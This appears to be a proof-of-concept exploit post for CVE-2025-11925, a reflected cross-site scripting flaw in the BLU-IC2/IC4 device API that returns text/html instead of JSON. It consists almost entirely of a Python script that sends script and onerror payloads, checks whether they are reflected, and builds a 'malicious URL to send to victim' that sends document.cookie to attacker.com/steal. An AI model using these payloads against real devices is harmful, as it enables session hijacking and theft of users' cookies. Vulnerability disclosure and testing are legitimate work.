CVE-2025-11925 BLU-IC2/IC4 API Content-Type错误导致XSS漏洞

# CVE-2025-11925 PoC - Content-Type Confusion XSS in BLU-IC2/IC4 API # The vulnerability exists in API endpoints that return Content-Type: text/html # instead of Content-Type: application/json, allowing HTML/JavaScript injection. import requests TARGET_URL = "https://target-blu-ic-device/api/v1/endpoint" # Malicious payload that will be interpreted as HTML/JavaScript # due to incorrect Content-Type header (text/html instead of application/json) payload = { "param": '<script>alert("XSS-CVE-2025-11925")</script>', "input": '<img src=x onerror=alert(document.cookie)>' } def exploit_xss(): """ Exploit the Content-Type confusion vulnerability. The API returns text/html instead of application/json, causing the browser to execute injected scripts. """ # Step 1: Send a crafted request to the vulnerable API endpoint response = requests.get(TARGET_URL, params=payload) # Step 2: Verify the incorrect Content-Type header print(f"Response Content-Type: {response.headers.get('Content-Type')}") # Expected vulnerable behavior: text/html (should be application/json) # Step 3: Check if the malicious script is reflected in the response if "<script>" in response.text or "onerror" in response.text: print("[+] Vulnerability confirmed - Script injection possible!") print(f"[+] Injected content will execute in victim's browser context") else: print("[-] Payload not reflected directly. Try other injection points.") return response # Crafted malicious URL to send to victim def generate_malicious_url(base_url, endpoint): """Generate a URL that triggers XSS when victim clicks it.""" xss_payload = '<script>document.location="https://attacker.com/steal?cookie="+document.cookie</script>' malicious_url = f"{base_url}/{endpoint}?input={xss_payload}" return malicious_url if __name__ == "__main__": exploit_xss() url = generate_malicious_url(TARGET_URL.rsplit('/', 1)[0], TARGET_URL.split('/')[-1]) print(f"\nMalicious URL to send to victim:\n{url}")